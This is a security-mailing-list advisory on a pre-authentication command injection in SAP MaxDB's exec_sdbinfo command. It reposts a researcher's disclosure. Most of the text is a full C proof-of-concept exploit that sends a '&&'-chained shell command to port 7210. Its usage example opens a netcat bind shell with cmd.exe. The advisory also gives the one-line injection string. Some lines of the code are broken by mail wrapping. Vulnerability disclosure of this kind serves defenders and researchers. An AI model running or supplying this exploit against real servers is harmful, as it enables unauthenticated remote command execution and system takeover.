[NEWS] SAP MaxDB Pre-Auth Command Execution



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



SAP MaxDB Pre-Auth Command Execution
------------------------------------------------------------------------


SUMMARY

<https://www.sdn.sap.com/irj/sdn/maxdb> SAP MaxDB is "a commercial and
widely known and used database". A vulnerability in MaxDB's system()
command allows remote attackers to cause the program to execute arbitrary
commands.

DETAILS

Vulnerable Systems:
* SAP MaxDB version 7.6.03 build 007 and prior

The MaxDB server executes "cons.exe DATABASE COMMAND" through system()
when some special commands are called by the user. Some of these special
commands are "show" and "exec_sdbinfo" and this last one is just one of
the small amount of commands which can be executed by the unauthenticated
users before logging in.

The usage of system() for executing the cons program allows an external
unauthenticated attacker to execute any command he wants on the target SAP
MaxDB server simply passing the "&&" or other patterns for the execution
of multiple commands in the shell.

So it's just enough to use the following SAP command to see the content of
C: on Windows (the bug is naturally exploitable on any other platform
supported by the server):

exec_sdbinfo && echo dir c:\ | cmd.exe

Then the rest and all the other possibilities of exploiting this
vulnerability are in the fantasy of the attacker...

Exploit:
/*

by Luigi Auriemma - http://aluigi.org/poc/sapone.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#endif

typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;



#define VER "0.1"
#define PORT 7210
#define BUFFSZ 0xffff



int sap_send(int sd, u8 *buff, int len);
int tcp_recv(int sd, u8 *buff, int len);
int sap_recv(int sd, u8 *buff);
int putsn(u8 *data, u8 *str, int len);
int putsp(u8 *data, u8 *str, int len);
int putss(u8 *data, u8 *str);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u16 port = PORT;
u8 *buff,
*host,
*command,
*p;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

setbuf(stdout, NULL);

fputs("\n"
"SAP MaxDB <= 7.6.03.07 remote command execution "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);

if(argc < 3) {
printf("\n"
"Usage: %s <host[:port(%hu)]> <command>\n"
"\n"
"Examples:\n"
" %s localhost \"echo dir \\ | cmd.exe\"\n"
" %s 127.0.0.1 \"nc -l -p 5555 -v -v -n -e cmd.exe\"\n"
"\n", argv[0], port, argv[0], argv[0]);
exit(1);
}

host = argv[1];
command = argv[2];

p = strchr(host, ':');
if(p) {
*p = 0;
port = atoi(p + 1);
}

peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

buff = malloc(BUFFSZ);
if(!buff) std_err();

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();

p = buff;
p += putxx(p, 0x00000000, 32); // size (head+data)
p += putxx(p, 0x00005b03, 32);
p += putxx(p, 0x00000001, 32);
p += putxx(p, 0xffffffff, 32);
p += putxx(p, 0x00040000, 32);
p += putxx(p, 0x00000000, 32); // size (head+data)
p += putxx(p, 0x00420200, 32);
p += putxx(p, 0x00000904, 32);
p += putxx(p, 0x00004000, 32);
p += putxx(p, 0x00003fd0, 32);
p += putxx(p, 0x00004000, 32);
p += putxx(p, 0x00000070, 32);
p += putsn(p, "", 16); // database name
p += putsp(p, "", 0); // "I2988", -1);
p += putsp(p, "", 0); // "\x50\x1c\x2a", 3);
p += putsp(p, "", 0); // "\x52\x01", 2);
p += putsp(p, "", 0); // "\x72\x01", 2);
p += putsp(p, "", 0); // "pdbmsrv", -1);

printf("- send connection data\n");
if(sap_send(sd, buff, p - buff) < 0) goto quit;
len = sap_recv(sd, buff);
if(len < 0) goto quit;

p = buff;
p += putxx(p, 0x00000000, 32); // size (head+data)
p += putxx(p, 0x00003f03, 32);
p += putxx(p, 0x00000001, 32);
p += putxx(p, 0x00000d54, 32);
p += putxx(p, 0x00040000, 32);
p += putxx(p, 0x00000000, 32); // size (head+data)
p += putss(p, "exec_sdbinfo && "); // magic "&&"
p += putss(p, command);

// const static char *maxdb_commands[] = {
"apropos","archive_stage","archive_stage_repeat","auto_extend","auto_update_statistics","autolog_cancel","autolog_off","autolog_on","autolog_show","autorecover","backup_cancel","backup_ext_ids_forget","backup_ext_ids_get","backup_ext_ids_getfromtool","backup_ext_ids_list","backup_ext_ids_listnext","backup_history_close","backup_history_date","backup_history_list","backup_history_listnext","backup_history_open","backup_ignore","backup_replace","backup_start","backup_state","bye","db_activate","db_addvolume","db_admin","db_clear","db_connect","db_cons","db_create","db_deletevolume","db_drop","db_enum","db_execute","db_executenice","db_fetch","db_fetchnice","db_migratecatalog","db_offline","db_online","db_reg","db_reinstall","db_release","db_unreg","db_restart","db_restartinfo","db_speed","db_standby","db_start","db_state","db_stop","dban_delete","dban_start","dban_state","dban_stop","dbm_configget","dbm_configset","dbm_getpath","dbm_setpath","dbm_shm_info","dbm_version","diag_histlist","diag_pack","event_available","event_delete","event_list","event_list_categories","event_receive","event_release","event_set","event_wait","exec_lcinit","exec_nipingsrv","exec_sdbinfo","exec_xpu","exit","explain","file_backup","file_getfirst","file_getlist","file_getnext","file_operation","file_restore","help","hss_addstandby","hss_copyfile","hss_enable","hss_execute","hss_getnodes","hss_removestandby","info","info_next","inst_enum","inst_info","inst_reg","inst_unreg","load_lcapps","load_r3tab","load_systab","load_tutorial","medium_date","medium_delete","medium_get","medium_getall","medium_label","medium_labeloffline","medium_put","package_info","param_abortsession","param_addvolume","param_checkall","param_commitsession","param_copy","param_directdel","param_directget","param_directgetall","param_directgetallnext","param_directput","param_extget","param_extgetall","param_extgetallnext","param_getdefault","param_getexplain","param_getfull","param_gethelp","param_gethistory","param_gethistorynext","param_getproperties","param_gettype","param_getvalue","param_getvolsall","param_getvolume","param_init","param_put","param_restore","param_rmfile","param_startsession","param_versions","quit","recover_cancel","recover_check","recover_config","recover_ignore","recover_replace","recover_start","recover_state","recover_state_check","recover_volume","release","scheduler_activate_job","scheduler_create_job","scheduler_deactivate_job","scheduler_delete_job","scheduler_list_jobs","scheduler_start","scheduler_state","scheduler_stop","service_connect","service_release","show","show_list","show_next","sql_connect","sql_execute","sql_executenice","sql_fetch","sql_fetchnice","sql_info","sql_recreateindex","sql_release","sql_updatestat","sql_updatestat_per_systemtable","trace_clear","trace_flush","trace_off","trace_on","trace_prot","trace_protopt","trace_show","user_create","user_delete","user_get","user_getall","user_getchallenge","user_getrights","user_logon","user_put","user_rename","user_response","version", NULL };
// commands executable in pre-auth: apropos, bye, db_create,
db_enum, dbm_getpath, dbm_setpath, dbm_version, exec_sdbinfo, exit,
explain, help, hss_execute, inst_enum, inst_info, inst_reg, inst_unreg,
package_info, quit, release, trace_protopt, user_getchallenge, user_logon,
user_response, version

printf("- send command: \"%s\"\n", command);
if(sap_send(sd, buff, p - buff) < 0) goto quit;

printf("- wait data from the server (depending by the command you
used):\n");
len = sap_recv(sd, buff);
if(len < 0) goto quit;
if(len > 24) printf("%.*s\n", len - 24, buff + 24);

printf("- done\n");
close(sd);
free(buff);
return(0);
quit:
printf("\nError: something wrong during communication with the
server\n");
close(sd);
free(buff);
return(1);
}



int sap_send(int sd, u8 *buff, int len) {
putxx(buff, len, 32);
putxx(buff + 20, len, 32);
if(send(sd, buff, len, 0) != len) return(-1);
return(0);
}



int tcp_recv(int sd, u8 *buff, int len) {
int t;
u8 *p;

for(p = buff; len; p += t, len -= t) {
// if(timeout(sd, 30) < 0) return(-1); is better to remove
timeout() here in case someone wants to do additional tests
t = recv(sd, p, len, 0);
if(t <= 0) return(-1);
}
return(0);
}



int sap_recv(int sd, u8 *buff) {
u32 len;

if(tcp_recv(sd, buff, 4) < 0) return(-1);
getxx(buff, &len, 32); // no checks, this is only a PoC!
if(tcp_recv(sd, buff + 4, len - 4) < 0) return(-1);
return(len);
}



int putsn(u8 *data, u8 *str, int len) {
strncpy(data, str, len);
return(len);
}



int putsp(u8 *data, u8 *str, int len) {
if(len < 0) len = strlen(str) + 1;
data[0] = len + 1;
memcpy(data + 1, str, len);
return(1 + len);
}



int putss(u8 *data, u8 *str) {
int len;

len = strlen(str);
memcpy(data, str, len);
return(len);
}



int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;

bytes = bits >> 3;

for(num = i = 0; i < bytes; i++) {
num |= (data[i] << (i << 3));
}

*ret = num;
return(bytes);
}



int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;

bytes = bits >> 3;

for(i = 0; i < bytes; i++) {
data[i] = (num >> (i << 3)) & 0xff;
}

return(bytes);
}



int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;

tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}



u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}



#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/sapone-adv.txt>
http://aluigi.altervista.org/adv/sapone-adv.txt



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [NT] eTrust Secure Content Manager Denial of Service
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int putxx(u8 *data, u32 num, int bits); ... send(sd, buff, p - buff, 0); ...
    (Securiteam)
  • [NT] Timbuktu Pro Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int putcc; ... fsize = sizeof- 1; ... buff = malloc; ...
    (Securiteam)
  • Re: [MFC REQUEST] Filename completion in sh(1)
    ... pointer ckrealloc; ... void stunalloc; ... int unaliascmd(int, char **); ... Exit immediately if any untested command fails in non-interactive mode. ...
    (freebsd-current)
  • [NT] Liero Xtreme Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... master server) are supported". ... int main{ ... len = send_recv(sd, buff, len, buff, sizeof(buff), 1); ...
    (Securiteam)
  • [NT] Quicktime Player HTTP Error Message Buffer Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int hex2bin; ... struct sockaddr_in peer; ... buff = NULL; ...
    (Securiteam)